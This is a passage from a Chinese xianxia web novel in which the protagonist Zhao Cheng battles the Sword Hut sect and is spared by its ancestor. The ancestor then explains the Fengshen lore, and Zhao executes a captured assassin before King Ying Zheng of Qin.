以一己之力镇压剑庐诸多高手,更是任由这么多金丹老剑强攻一刻钟,都打不破他的万岳归墟。
这技法确实猛,这金丹也确实够顶!
却说下方,众长老面色苍白,身形摇摇欲坠,真气枯竭到断断续续,别说御剑了,剑都快拿不稳了。
他们骇然的仰面看着,眸中闪过丝丝绝望。
“不是……你们有没有觉得,一刻钟前这紫金山脉就是这么晃晃荡荡的?”
“看着是比刚才黯淡了点,但也没差多少啊……”
“我看他就是在强撑!
就算之前有伪装,这么久的猛攻下来,他真元也撑不了多久了!”
“说的没错,他就是凭借诡计将掌门师兄控制在里面了!
如今又不敢将掌门师兄放出来,也没有办法反击我们,应该是他着急才对!”
此话一出,众长老也是豁然开朗。
是啊,他们着的什么急?
该着急的是这个小贼啊!
现在他需要维持那古怪的戟法,来持续控制他们的掌门师兄,根本腾不出手来反击。
如今更是被他们强攻了一刻,就算剩下一些真元,他又能扛到什么时候?
他们大可一直和对方耗下去,反正他们人多,只要将对方的真元耗尽,那掌门师兄自然脱困,到时候既有掌门师兄坐镇,那小贼也耗尽了真元。
还能让他跑了不成?
一念及此,有长老立刻说道,“大伙轮流进攻,务必持续消耗这小贼的真元,直至将他耗得油尽灯枯!”
“哼,这可是剑庐,我等有的是补给,他如何熬得过我们?”
“正是此理,熬死他!”
第255章 夺剑爆元遭岳镇,挥龙斩阳遇浮光
半空之上。
那剑庐掌门谢清眠始终没有放弃,他的人生里从来没有放弃和失败。
不论多艰难的情况,他都曾云淡风轻般化解。
以他的才情和智慧,这一关算不上难过,不过是一时大意罢了。
小贼已经是强弩之末!
只要拿回灵剑,打开一丝丝缺口,便能够撬动这漫天金山。
到时候以真元调取天地规则之力,化作最强一剑,便能撕开一角镇压,只要缓上这一口气,他就能冲破这牢笼!
他锲而不舍,神识艰难前行,体内隐藏着早已经能够运转的真元,却一直蛰伏,隐而不发。
只等重新掌控灵剑,便瞬间爆发,夺回那一线胜机!
六尺!
三尺!
还差一尺!
眼看就要重新掌控灵剑,谢清眠的眸中的期待与坚韧,尽数化作光彩与锋芒爆发开来,好似惊艳九州的寒光,带着他的毕生才情和骄傲,乍现苍穹之上。
拿回灵剑!
再配合下方师兄弟们的强攻!
里外配合,撕裂金山!
只要自己突破掉这重重镇压,一朝脱困便是天高地阔,万般妙法随自己施展。
他要以自己的毕生修为,一剑斩之,不给他一丝一毫的机会!
到时候诸多屈辱尽数还回!
杀他个剑心通达!
“剑!来!”
他突然嘶吼出声,神识控制之下,一直被镇压哀鸣的灵剑突然剧烈颤动,锋芒进展,如同尘封已久的宝剑重新出窍!
剑气纵横之际,金山撕裂颤鸣!
谢清眠挺直身躯,将蛰伏已久的真元剑意尽数爆发,意气飞扬,仰面畅快大笑!
“哈哈哈……”
却在这时,天空之上横亘的紫金神山却突然光芒大盛,耀耀生辉,威势陡然扩大,就连之前变成暗淡虚影的边缘,也迅速变得凝实。
竟然在转眼之间,又恢复到了最开始的模样!
一座神山叠着一座,厚重得几欲要将天地都压垮,更如金汤灌城,一丝锋芒都透不进去。
谢清眠的畅快大笑陡然卡在了喉咙处,惊愕地看着自己的灵剑刚刚绽放光彩和锋芒,便又被强势镇压了回去,比之前哀鸣得更加厉害!
而他好不容易调取出来的部分剑意真元,也如一个水花一般被瞬间压灭。
轰!
巨大压力贯通下来,他好不容易直起的身躯,又猝不及防地趴跪了回去!
“我¥%&……”
谢清眠嘴里发出几道意味不明的声音,面色涨红如血,全然没有了那萧疏落拓的书生模样。
下方,众长老更是大惊失色,呆呆看着那横亘在上空的万岳归墟,眸中闪过道道绝望。
“这……”
“这怎么又变回去了?”
“我们打了这么久,难道连他的一点真元都没有消耗下去吗?
有长老咬牙切齿,“该死,这小贼又在耍我们!!”
也有长老咬牙说道,“肯定是回光返照,攻!”
“攻!总能熬死他!”
“反正他无法还手,今天耗也耗死他!”
于是长老们有恃无恐,又组织起来一波强攻。
但这一次,明显收效甚微。
他们本就消耗极大,赵诚又重新全力出手,他们如何攻得破万岳归墟?
而赵诚看到这些长老翻来覆去还是那些已经被他领悟的招数,也没了什么耐心。
“没有压箱底的招式了吗?
“逼一下试试。”
赵诚倒提大戟,一股煌煌如日的巨大威势从大戟之上萌发出来,下一刻,好似有巨大青龙盘绕在大戟之上,苍茫浩大,随着他大戟前劈,轰然撞向下方山门石阶之上的剑庐长老们。
这一撞,好似要撞碎凌霄,一去不回!
倒卷青龙撞烈阳!
冥冥之中,好似有龙吟之声响起,戟风撕裂天地般。
众长老纷纷变色,惊惧无比的看着那青龙直撞下来!
这小贼还有余力施展如此恢弘招式!?
完了!
他们现在尽数耗尽真元,都是油尽灯枯的状态,怎么可能还有余力应对如此招式!
这一戟砸下来,剑庐恐怕是要遭到重创,死伤无数,甚至传承从此断绝啊!
众长老脸色灰败,想要奋起余力一起对抗这一戟,却都是力有未逮。
刚刚他们实在消耗了太多的真元,以至于现在正是最虚弱的时候。
赵诚见状眉头微皱,看来这些老家伙是真的没有什么东西能拿出来了。
既然如此,也没必要再逼迫他们。
他的目标本来就只是剑龙子和剑庐传承。
如今剑庐传承已经到手大半,推演之后,更胜其原本传承无数。
而到了如今这步,剑庐也早已经护不住剑龙子,好歹也算是学了人家的东西,他没有要屠尽剑庐之意。
于是他瞬间发力,将倒卷青龙撞烈阳悄然挪移三分,向着众长老一侧的空处砸去。
却在这时,这恢弘浩大的倒卷青龙撞烈阳突兀地从龙头之处化为了两半,好似被什么利刃瞬间切割开来一般。
明明两侧的厚重真元依然强势,但却在一瞬间失去了根源力量一般,迅速地衰减着。
眨眼之间,遮天蔽日的倒卷青龙撞烈阳竟然全部消弭一空。
赵诚面色一怔,茫然不解。
“咦?怎的突然消失不见?”
“不对啊,我的真元并没有枯竭,更没有后力不济,这一招怎会突然消失的?“
他不得其解,仔细观察,发现之前倒卷青龙撞烈阳砸下的方向上,有一柄极小的三寸小剑,这小剑极薄,薄的近乎透明,而且无声无息,好似一片空气,或者一阵风一般,轻飘飘的。
但它只是一划而过,便将那倒卷青龙撞烈阳的参与威势尽数斩去。
赵诚心中一凛,目光死死盯住那枚小剑。
还有高手!?
“是师祖的浮光剑!”
“师祖出关了?”
“惭愧!我等护不住剑庐,竟然惊扰了师祖!真是罪该万死!”
“是弟子无能!“
在赵诚思虑之间,下面的剑庐长老们已经跪了一地,面向那枚小剑,面露惭愧之色,好似恨不得找个缝钻进去。
赵诚面色更加凝重,这群老家伙都叫师祖的人,得是什么老妖怪?
他全神贯注凝视那枚小剑,如临大敌。
那枚小剑却就这样慢悠悠大摇大摆地朝着他射来。
第256章 浮光逼喉悟归真,逐龙馈慧两相成
赵诚前一刻还在奇怪,此剑怎么如此之慢,下一刻却诡异的发现,这小剑竟然已经临近身前半丈距离,沿途所有万岳归墟都像是纸糊的一般,瞬间被穿透,而后消散。
他当时便是心头巨震!
怎么做到的?
明明速度如此之慢,从头到尾,连轨迹自己都看得清楚,但事实上,却在一刹那的时间临近自己。
怎么会有如此诡异的情况?
感知和事实出现了严重的偏差,让赵诚感觉别扭难受至极。
但当前最可怕的是,这小剑仍旧在不断靠近,以那种极慢却又极快的速度逼近。
赵诚浑身绷紧,如临大敌地准备避开。
却发现,根本避不开,不论如何腾挪,那东西都坚定不移地缓慢靠近自己。
又一刹那,已经距离咽喉不足三尺距离。
赵诚头皮发麻。
“这是什么鬼东西!?”
“是剑意不成?”
“连万岳归墟都无声无息被抹去,我的体魄恐怕扛不住这一剑!”
电光火石之间,已经出现了这个必死的结论。
赵诚心中升起前所未有的危机感。
他没想到,剑庐之中还有这种老妖怪在!
不论是阴阳术还是灵觉,都没有给他丝毫预警!
不能坐以待毙!
赵诚疯狂调动体内金丹真元,而后蓄力施展裂穹碎月。
而意念之中,则是迅速投入寿命,推演剑庐剑意!
这一剑既然是剑庐师祖出的,那必是脱离不开剑庐剑意的范畴。
他要将剑庐剑意推演到极致,而后从中找到一线生机。
无穷真元嘶吼咆哮着沿着经脉冲入大戟之上,而后疯狂坍缩成一个点,惹得周遭的光线都随之扭曲甚至坍缩。
而在大量寿命的投入之下,赵诚对剑庐剑意的领悟也在飞快深入,向着最深处探索,即使探索到极致,依然不停。
终于,在寿命只剩下十几年的时候,系统传来了提示。
【你领悟剑庐剑意达到返璞归真之境。】
这一刻,赵诚终于看到这朴实无华的缓慢一剑之中蕴含的无尽剑道。
但也仅仅看清了一角,让他能够有反击的余地。
剑光已经逼近咽喉一尺距离,赵诚来不及多想,以指为剑,早已经蓄力的裂穹碎月出手。
叮!
嗤!
极尽他真元的裂穹碎月如同一团泡沫一般破碎消散,那枚小剑横推一切般切向赵诚咽喉。
完了!
赵诚心中长叹。
下一刻,只觉喉头一凉,心中更是冰凉一片。
果真是天外有天……
时间好似无比漫长,不知过了多久,赵诚睁开眼睛,却见到一个素袍老者站在身前笑眯眯地看着自己。
“武威君之天资,万年难得一见,莫非是天人转世,生有宿慧?”
他的声音很温和,透着股极致的真意,让人觉得他不论说什么,都是真心而发,没有丝毫作假。
整个人看起来虽然苍老,却透着股极致的朴实,令人生不起什么反感之心来。
赵诚看了看他,又看了看下方跪倒一片的剑庐长老。
地方还是那个地方,没有变成什么十八层地狱之类的。
他摸了摸喉头,发现有一个裂口,却并不深。
看来自己没死。
他如此想着,再看向身前老者,眸中多了几分谦逊。
“晚辈多谢前辈不杀之恩。”
老者摇头一笑,“没有大仇大怨,何谈不杀之恩?”
“更何况,你也并非是要杀我剑庐弟子,多有留手。”
“不过,你还没有回答我的问题。”
赵诚这才想起刚才老者问的话,心念急转。
夸我天资万年难见,那就是已经看穿了自己招式都是出自剑庐!
说自己是天人转世生有宿慧,莫不是说穿越之事!?
想到此处,他心头陡然一惊。
这老头已经强到这种地步了吗?
连自己是穿越过来的都知道?
那系统呢?
赵诚不知道对方是不是诈自己,不过人家能一剑斩了自己,却没有杀掉自己,定是有缘由!
而这缘由,怕就是因为这所谓天人转世宿慧,不如顺着说下去。
反正事实也确实如此。
“说是转世宿慧,倒也没错。”
听到他的回答,老者眼中闪过一道果然如此的光芒,更多了几分慎重。
他微微低头思忖着什么,场间沉寂片刻,老者再抬头时,手中已经提着一脸懵逼的剑龙子。
“此事源头,无非剑庐弟子违背门规,做错了事情罢了。”
“剑龙子违背门规诫训,今日起,逐出剑庐!”
剑龙子不敢置信的看着师祖,却已经被老者扔给了赵诚。
赵诚提着剑龙子,没想到事情这么顺利。
“这……”
众长老也是不敢置信,纷纷求情,“师祖,那是我剑庐弟子,就算违背门规,也该剑庐处置啊!”
“师祖,剑龙子是这一代天资最佳的弟子……”
老者摇了摇头,“你们都忘了剑庐门规不成?”
一句话,就让众长老都闭了嘴,只能哀叹,看着赵诚的目光,像是一道道利剑,恨不得将他用眼神斩了!
老者再看向赵诚,目光之中多了些探究与复杂。
“你刚刚的那些戟法,都很不错。”
赵诚知道对方说的是什么。
偷师之事被抓,就算他脸皮很厚,现在也难免有些难为情。
那毕竟是人家传承千年的剑法,被自己学了七七八八,或许也该给个交代。
“这些戟法……”
他刚要说些什么,老者却摆了摆手,“我于这些戟法之中,得到了许多灵感和启发,或许可以使我剑庐传承更上层楼,此事还要多谢小友。”
他从未见过有人能从其他人出手之中领悟对方剑招甚至剑意的。
更何况,这小子不但能学到,还能在短短时间内里面,将其变成更加精妙更加不可思议的戟法,着实让他叹为观止!
同时,以他对剑道的造诣,自然能够看出赵诚戟法之中的脉络。
这些脉络本就与剑庐剑法同出一源,他看清之后,自然也能很快将其吸收,优化到剑庐传承之上。
就算自己用不上,剑庐后辈也都能够因此而大受裨益。
这对于剑庐来说,是一项不好明说的恩情。
“啊这……”
第257章 携龙辞庐遵规诫,入洞释玄溯封神
赵诚没想到,自己偷师了人家的传承,人家还要感谢自己。
一时之间,给他都整不会了。
别说他了,整个剑庐上下,都已经完全傻了眼。
不知道为何师祖会对那小贼有如此态度。
就连谢清眠都气的脸色涨红,攥紧了拳头。
但却不敢置喙。
赵诚心中也是不解,想了想还是问道,“敢问前辈,为何剑庐弟子不可下山参与庙堂之争?”
老者有些意外的看了赵诚一眼,“此事,你该比我清楚才对。”
啊?
我比你清楚?
我又不是剑庐祖师。
赵诚目光之中露出疑惑之色。
老者见状也有些疑惑,又打量了一番赵诚,喃喃道,“看来时机还没有完全到。”
他再看向赵诚,“你的宿慧应该还没有完全苏醒,无妨,时机到了,你自然就会知道了。”
“在那之前,我也无法泄露天机。”
赵诚感觉云里雾里。
怪哉,这还是个谜语老登!
赵诚总感觉对方是误会了什么,不过这个误会对自己来说有利,也就没必要去刨根问底。
万一问出点什么真相,老登反悔把自己干掉了,那可是自讨苦吃。
如今剑庐传承已经到手,剑龙子也被抓了回来。
赵诚与老者告辞一声,便施展御风神行遁去。
他一走,众多剑庐长老顿时忍不住了。
纷纷涌上前来。
“弟子红霞拜见师祖……”
“弟子江凝拜见师祖……”
“……”
即使他们心中有着万般不解,但是对于师祖还是异常尊敬。
师祖名为柳白,是数百年前纵横江湖的人物,那个时代的人但凡能够活到现在的,都是不可思议的大能。
若非天资纵横,便是有着特殊奇遇。
光是刚才那一手轻易破掉万岳归墟的浮光剑,就足以让众长老为之惊叹。
而谢清眠更是跪在地上请罪,“弟子有罪,没有能够护好剑庐,也没能管好弟子,惊扰师祖,还请师祖责罚。“
“起来吧。”柳白摆了摆手,又叹息道,“唉,我剑庐沉寂这许多年,就如绝世宝剑一直封存在剑鞘之中不得展露,也是为难了你。“
“此人情况特殊,汝等败于他手中,不必介怀。”
谢清眠抿了抿嘴,脸上浮现一抹不甘之色,却没有说话。
而早已醒转,却始终呆滞坐在一旁的青竹剑瓮却突然问道,“师祖我不明白,此人破我山门,堵在剑庐门口,辱我剑庐掌门,为何还要将我剑庐弟子交给他?“
他积蓄数十年的剑意尽折,已是心灰意冷。
剑龙子已经是他唯一的希望,唯一的骄傲。
但这得意弟子,却被师祖亲手交了出去,交给了那挑衅剑庐的恶人。
他如何能够甘心。
一口气堵在胸口,直直看着柳白。
势必要讨要一个说法。柳白沉声道:“剑庐‘不涉庙堂纷争’的门规,已立数百年。
门规便是门规,没了规矩,何谈方圆?
剑龙子既违门规,后续祸事又由他而起,这般惩罚,本就该当。”
青竹剑瓮面上仍满是不甘,更掺了几分悲愤,忍不住追问:“吾辈修剑,究竟为了什么?
剑龙子纵使刺杀了秦王,难道我剑庐还会怕他秦国不成?
不过是世俗小国,我等大可以一剑……”
“哼!”柳白忽然冷哼一声,一股凛冽剑意骤然笼罩青竹剑瓮。
他浑身一僵,喉间像是堵了块巨石,讷讷地再也说不出半个字。
“狂妄!”
柳白的声音冷了几分,“你真以为,这门规护的是什么?
是护山下那些诸国?并非如此!
这门规护的是剑庐,护的是你们这些弟子,更护的是你们的剑道!”
众人愈发困惑。
在他们看来,门规明明是在庇护凡俗诸国。
即便真入了俗世、掺了庙堂纷争,那些凡俗国度又能奈他们何?
满肚子疑问压在心头,却无人敢先开口。
终于有位长老按捺不住,躬身问道:“可师祖,那赵诚也有修为在身,甚至比我等更强,却能肆无忌惮行走俗世。
既涉庙堂纷争,还领兵作战、杀戮无数,这又是为何?”
柳白扫过眼前众人,心中了然,今日若不把话说透,这些弟子的剑心怕是要生了问题。
他轻轻叹了口气,道:“此人特殊……罢了,便与你们说个明白。
随我去洞府吧。”
柳白的洞府极为简陋,一张石床,一张石桌,顶上一处天然洞口,便算作窗户。
他盘坐在石床上,诸位剑庐长老则齐齐盘坐在地,目光灼灼地望着他,静待缘由。
“汝等可曾听闻‘封神’之事?”
柳白先抛了个问题。
众长老面面相觑,一人迟疑着答道:“封神?那不是凡间流传的传说吗?”
柳白缓缓摇头,“对凡人而言,我等练气修剑、超脱凡俗,亦是传说。
这封神之事于你们而言,亦是如此。
非虚非幻,确有其事。”
这话一出,众长老顿时心头一震,思绪翻涌不休。
柳白的声音又缓缓响起,带着几分岁月的厚重,“一千多年前,纣王帝辛执掌天下。
他所属的商族,自视是帝神与太阳神的后裔,故而藐视神权、亵渎女娲,甚至公然挑衅天神威严。
更甚者,他不愿让商国臣服于神权治理,致使天庭神职凋落,无法与王权配位、共理人间。
再加上他朝政不修,人间天运渐崩,秩序混乱,灾荒四起,民不聊生。
天地间肃杀之气渐浓,一场灭世大劫,就要降临三界。”
“彼时,昊天上帝欲组建天庭、统理三界,可纣王帝辛拒不配合。
于是昊天上帝决意‘封神’。
想从阐教、截教两教中,挑选实力强横的仙人入天庭为神,一边压制帝辛的王权与商族的‘帝神信仰’,一边以神权统御人间。”
“可入了天庭为神,便要被三界事务缠身,还要受昊天上帝调遣
没了自由,更断了继续修炼大道的路,是以众仙皆不愿。
偏偏那时,阐教十二金仙多年修行停滞,未能斩去三尸,本就该应一劫.
他们又不愿直接散了修为去封神任职,便与截教商议,两教共应此劫,这才定下了‘封神计划’。”
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第258章 释劫明诫护天运,出鞘应劫赴尘局
“与此同时,天地大劫之中,必有天运之人应运而生,那便是周天子。
彼时商朝气运已尽,天运悄然转向周天子。
这封神计划,便从‘天运转移’处入手,最终阐、截两教都卷入了这场天运之争。
既应了自身劫数,也完成了封神,更定下了‘君权神授、天治三界’的规矩。”
“而周朝的气运,便是当年姜子牙拉车八百步,换来了八百年大运。
可八百年后,周室气运凋零,天下**为诸侯列国,遂成后来诸国乱战之局。”
“诸方混战不休,人间秩序再度崩坏。
天庭没了信仰香火支撑,封神榜渐渐崩碎,原本的神职没了对应神位,又一次陷入空虚。
可此时,天运之人尚未出世,大劫也未到临,没法再以战争封神,诸神只能选择转世重修,静待来日封神大劫再起,好让天庭重新洗牌。”
“这一转世,便是数百年。
期间不止我剑庐,诸多隐世宗门皆是天才辈出,却也因此杀得天翻地覆。
凡人生灵涂炭,死伤者不计其数。
照此下去,不等封神大劫降临,凡人怕是要先死绝了。
天庭本就稀薄的信仰香火,也会彻底断绝,局面只会愈发糟糕。”
“直到有一日,终南山走出一位仙人。
他以一己之力压制了所有修士,立下‘终南三诫’。
违者不仅要受其责罚,还会遭大运反噬,最终所有因果相连者都将万劫不复。
自那以后,所有隐世宗门中,但凡修为脱凡者,皆不可再参与庙堂纷争。
这般做,便是为了保大运正常运转,好让天运之人如期出世。”
“如今看来,时机怕是要到了。
秦王嬴政承六世余烈,眼看就要行一统六国之事。
而其余四国也不会坐以待毙,大战一触即发。
这模样,倒像是天运之人即将现世。
况且,距上一次封神已过千余年,天地间肃杀之气又浓,大劫不远了。”
“此等时候,上面怕是要重新布局,借这场大战,再定封神之事。
这局太大了,我剑庐置身其中,不过是一叶扁舟,根本掀不起波澜。”
“至于那赵诚。
他能以超凡修为横行俗世,又天资纵横,恐怕是天上神职转世之身。
此番下凡,便是要做封神大劫的‘引子’,是仙人布局的‘棋子’。
眼下局势未明,我若贸然杀他,剑庐怕是承受不住背后仙人布局的怒火,更有可能沾染因果,万劫不复。”
“而剑龙子擅自参与庙堂纷争,或许已扰乱了此局的进程。
将他逐出剑庐,也是为了切断他与剑庐的因果,免得剑庐被牵连。
所以你们该懂了,不许你们涉庙堂纷争的门规,从来都是在护着你们。”
长老们沉默了许久,又有一人问道:“敢问师祖,何为‘大劫’?”
柳白解释道:“修行路上,人人皆有劫数。
那些仙人,若一千余年间修行毫无寸进,便会滋生心魔,凝成‘杀劫’。
一旦渡不过去,便是身死道消。
是以他们要借‘天命人出世后的战争’,去应这杀劫。
若杀劫未渡,便只能入封神榜。”
他顿了顿,又补充,“不过对他们而言,封神是枷锁。
对汝等而言,封神却可能是机会。
这封神本就有两面性,对根行稍逊的修仙者来说,封神是不错的归宿。
纵使身死,死后却能成神永生,在天庭占一席之地,也算是一桩机缘。
可对那些根行深厚、有望修成仙道的人来说,封神便是桎梏。
没了自由修行的机会,还要受天庭天条与打神鞭约束,不能再随心所欲,自然算不得好事。”
闻言,众长老皆低下头,若有所思。
有自认为资质一般的长老问道,“师祖,普通人若入此局,是否都会封神呢?”
柳白闭目似乎在努力回忆着什么,而后又思忖许久,说道,“若是根性达标,只要入了此局应劫身死,便有可能入那封神台。
若有特殊能力,被看重了,应劫身死之后,也有可能入那封神台。
亦或者,在这天运大劫之中,推动关键节点了,或也会封神。“
一旁的谢清眠却眼睛微亮,往前凑了凑,问道:“师祖,当此大世,我等该如何有所作为?”
柳白苦笑着摇头,他早知若是说了这些事情,剑庐这些弟子的心便定不下来了。
却也无可奈何。
“便是你师祖我的师祖,在当年封神之事里,也不过是个不起眼的棋子。
如今
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我又怎知该如何行动?
仙人布下大局,我等普通修士,要么隐世不出,不沾因果,要么便只能随波逐流。”
想了想,他还是劝诫道,“汝等可要想好了,如今天运混沌未定,谁也不知天运将会落在何处,上面又是如何布局。
亦或者,根本还没开始布局,贸然入局,身死道消可能都是轻的,若是被天地大运反噬,后果不堪设想……”
谢清眠思忖片刻,又道,“既然赵诚能以修为在凡间肆意涉庙堂纷争,弟子认为,这封神之局已经开始了。
我等或许可以下山,掺到此局中,博一个前程出来。
是仙是神,亦或身死道消,不过各安天命罢了。”
柳白扫视剑庐众长老们的神情,见众人都是若有所思,更有意动之色,只得暗自叹息。
“汝等潜修多年,才有这一身修为,如今形势不明,贸然入局,若是落得身死道消,甚至大运反噬,岂不可惜?”
有长老叹道,“师祖,弟子的情况弟子自己清楚,弟子大半生都在剑庐之上苦修,就像苦心孤诣锻造了一把宝剑,却终生不得出鞘,心中一口闷气无处抒发。”
“如今更是被那赵诚一戟**,便如师祖所说的劫数一般,已经有了心魔,就算不下山入局,此生恐怕也无法再进一步,与身死道消相比,弟子更怕终生呆在剑庐之上碌碌无为,直至老死。”
“弟子亦是如此,既然修这剑道,这剑,自然是要出鞘才是!”
“是生是死,反噬或道消,弟子都无悔,只求心意通达!”
柳白又是摇了摇头,“你们这么多人,都敌不过一个赵诚,入了局又能如何呢?”
这话一出,谢清眠顿时不服气了,“弟子一时大意,被他那古怪招法**,若是全力施为,胜负尚未可知!”
这也是他听到柳白的话之后,一心想要下山的缘故。
除了不愿蒙尘之外,他还想要在此局之中,力压赵诚!
不是说是神职转世吗?
不是说是封神大局的引子吗?
若是自己将其斩了,那这封神之局,他还不是独占鳌头?
当然,以他的才情,并非是奔着那封神去的。
而是奔着入了某些大仙的法眼,搏得一些成仙机缘,成就无拘无束的仙人去的!
第259章 归途惊悟棋中局,献俘论刑定秦律
“这剑庐师祖究竟达到了何种境界?以我如今的修为,竟连半分反抗之力都没有。
若非他心存误会,我此刻恐怕早已性命不保。”
回武安城的途中,赵诚指尖摩挲着咽喉处。
那里的细小伤口虽已完全愈合,可那股无从抵抗的威压,却如烙印般深深刻进骨髓,挥之不去。
自踏入金丹境后,他本以为凭自身实力足以应对世间多数强敌,即便遇上不敌之人,全身而退也该是易事。
可今日剑庐师祖一现身,竟让他连还手的机会都没有。
“他口中的‘转世天人’‘生有宿慧’,到底是什么意思?”
“这定然与自己穿越无关。
穿越,绝不足以让那般人物忌惮,背后必另有更深层的缘由。”
“天人转世……天人转世……”
赵诚眉头紧蹙,思绪翻涌间,些许模糊的念头渐渐清晰。
“莫非这世间,真有天人转世一说?”
一念落下,他心中惊疑更甚,当即运转诸天窍穴,观照星象欲行占卜。
可在那浩渺星理之中,他竟触碰到一股无边浩大、深不可测的天地大势。
仅仅窥得一角,便有如山崩海啸般的危机感轰然笼罩全身。
这股警兆让赵诚后背瞬间被冷汗浸透,再也不敢多窥半分。
他难以置信地抬眼望向天际,随即又讳莫如深地收回目光,喉间低喃:“不可窥测……”
隐隐间,他仿佛看见天地间悬着一张巨大的棋盘,而自己,不过是这棋盘上一枚微不足道的棋子。
这认知让他心头的危机感愈发浓烈。
“不行,必须尽快提升实力。”
念头一动,他的心神沉入系统界面。
【宿主:赵诚】
【当前寿命:17年(可投入寿命推演、修**法、凝练丹药、铸造兵刃、凝练墟境……)】
【当前**:周天星斗纳真诀(金丹初期)】
【当前秘法:阴阳占星术(大成)、摄魂咒印、御风神行(大圆满)、横断云天(大圆满)、瀚海怒潮(大圆满)、倒卷青龙撞烈阳(大圆满)、裂穹碎月(大圆满)、万岳归墟(大圆满)、九霄龙吟破云式(入门)、碧落逐星(入门)、炉火锻心封鞘式(入门)、镜花水月空冥剑(入门)、百劫千幻无回式(入门)、阴曦潜渊噬光剑(入门)、游蝶穿花迷踪式(入门)、千山暮雪凝锋诀(入门)、巽风惊雷隐剑式(入门)、沧海月明浮光引(入门)、坐忘无我化虚剑(入门)……】
【当前悟道:剑庐传承真意(返璞归真)】
“没想到被那剑庐师祖逼出的绝境,反倒让剑庐传承真意突破至‘返璞归真’之境。
这还是我头一次见到此等境界的玄妙。”
“此前竟以为‘出神入化’与‘大圆满’已是武学尽头。”
“此次剑庐之行,收获当真不小,连剑庐长老们压箱底的绝学都尽数学来了。”
“可惜消耗也极大,如今系统内仅剩十七年寿命,别说将这些入门秘法尽数推衍至大圆满,就连凝练一枚普通丹药都不够。”
“看来,还得尽快杀敌夺寿。”
想到此处,赵诚的目光忽然落在身旁的剑龙子身上,一个念头骤然升起。
此人亦是金丹修为,寿命想必远胜常人,若将其斩杀,不知能夺得多少寿命?
剑龙子被赵诚这蠢蠢欲动的眼神盯上,只觉浑身汗**倒竖,一股寒意从脚底直窜天灵。
魔头又在盘算什么可怕的念头?
“你……你要干什么?”
他的声音里满是惊慌,连带着身体都微微发颤。
自打亲眼见赵诚以一己之力**剑庐掌门与诸位长老后,剑龙子对赵诚便只剩无边的畏惧,再也生不出半分反抗之心。
更何况,他此前被赵诚的“万岳归墟”重创,此刻连一丝真元都调动不起,若赵诚要对他动手,他连自行了断的力气都没有。
“别慌。”
赵诚淡淡开口,“用不了多久便到武安城,届时自会给你一个痛快。”
听到“痛快”二字,剑龙子反倒松了口气。
至少不用受折磨了。
武安城城头,耳畔蒸汽器械轰鸣不断,嬴政立于高台之上,焦灼地来回踱步,目光频频望向远方天际。
“顿弱,你此前说剑庐乃隐世宗门,虽百年不涉庙堂之事,却藏有不少高手。
若那些人合力出手,武威君能否全身而退?”
顿弱面露无奈。
这已是陛下第三次问起此事。
他追随嬴政多年,还是
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头一次见陛下露出这般紧张的模样。
“陛下,剑庐既已隐世,必不愿轻易涉足庙堂纷争。
武威君乃我大秦封君,即便他们能胜过武威君,又岂敢对武威君动手?”
嬴政却摇了摇头,语气中带着一丝沉郁,“若当真如此,那逆贼又岂敢来行刺寡人?”
“这……”顿弱一时语塞,不知该如何应答。
嬴政不耐烦地摆了摆手,“罢了,再等等。
寡人相信,武威君定会安然归来。”
一旁的李斯见状,上前一步轻声劝道,“陛下,高台之上风烈,不妨移步城内等候?”
嬴政依旧摇头,目光落在下方运转的蒸汽器械上,“寡人还想再看看这些器械。
汝等若觉风凉,可自行回城。”
他不走,旁人谁敢动?
众大臣只能陪着嬴政在高台上迎风而立。
忽然,一名侍从指着天际的小黑点惊呼,“陛下!那是不是武威君?”
嬴政猛地抬头望去,那双如电的眼眸中瞬间闪过期待之光。
那黑点初现时不过针尖大小,转瞬便已能辨出魁影。
再一眨眼,一道如孤峰般挺拔的身影已提着一名消瘦剑客落在高台之上。
赵诚铁臂一甩,便将剑龙子重重扔在地上,声音朗然:“陛下,幸不辱命!”
刹那间,高台上众人皆愣住了。
虽说赵诚离去时已显露御风之能,可此刻这般御空而行、咫尺天涯的速度,还是让众人惊得目瞪口呆。
这分明是仙人手段!
嬴政却顾不上震惊,快步上前,上下打量着赵诚,见他神采奕奕,身上毫无伤势痕迹,这才暗暗松了口气,问道:“武威君此行可有遇险?”
赵诚拱手笑道:“多谢陛下关心。
臣追杀此獠直抵剑庐,剑庐中虽有高手,却并不知晓此人谋逆之举,亦无庇护之意,已将其逐出门墙,此行还算顺利。”
“如此便好。”
嬴政点了点头,目光转而落在地上的剑龙子身上,沉声道,“李斯,此人依律该如何处置?”
李斯上前一步,躬身答道:“此人行刺陛下,属谋逆大罪,依秦律当处车裂之刑,夷其三族。
只是此人乃方外之士,更是剑庐弃徒,这‘三族’……”
第260章 洺水斩孽夺寿算,器起雄城万物新
话未说完,李斯便停了下来。
剑龙子既是方外之人,又已被剑庐逐出门墙,这“夷三族”的刑罚,恐怕难以执行。
一听要车裂,剑龙子顿时慌了,抓住赵诚的裤脚,“武威君,你说过会给我一个痛快!”
闻言嬴政看向赵诚,见赵诚没有反驳,于是说道,“既然武威君有过交代,便给他一个痛快,拖下去斩了吧。”
赵诚闻言点了点头,“陛下,此人由我亲自处决吧!”
嬴政点头,“可。”
赵诚提着剑龙子御风而下,于洺水岸边将其放下,大戟一挥,剑龙子的头颅瞬间滚落洺水,尸身也随之落入其中。
【你击杀一名金丹初境修士,夺取寿命:583年】
【当前剩余寿命:600年】
见到系统提示,赵诚眼眸一亮。
果真如此!
修士的寿命更多,夺取的寿命远胜普通兵卒。
只可惜,修士的数量太少,有天分如剑龙子这般的,就更少了。
如剑庐的那些老家伙们,修行许多年,如今恐怕剩余寿命也不多了。
总的来说,还是杀敌效率更快一些。
看来,得尽快推进统一其余四国的进度了。
不过在那之前,还是先将武安城这边的事情处理完毕,将大方向定下来,之后就能够自己运行了。
而且,接下来的战争,他要将蒸汽器械应用起来,新的铠甲武器,也都将投入到战场之中,让其余四国见见新时代的威力。
……
晨起的阳光刚漫过武安城的旧城墙,工业区方向便已传来震耳欲聋的“轰隆”声。
伴随着轰隆声,嬴政走入工业区,仰面看着那工业区中心已经伫立起来的蒸汽中枢运转。
这中枢通体由厚达两尺的铸铁打造,黑亮的外壳上爬满粗壮的铜管,管口不时喷出白雾,带着滚烫的水汽氤氲开来,在晨光里折射出淡淡的虹光。
中枢顶端的烟囱直插云霄,深灰色的烟柱扶摇而上,与远处的天际线连在一起。
每隔半柱香的功夫,中枢侧面的巨型阀门便会“吱呀”转动,喷出的蒸汽裹挟着金属摩擦的脆响,像一头苏醒的巨兽在平稳呼吸。
以这蒸汽中枢为圆心,四座工坊如众星拱月般环绕。
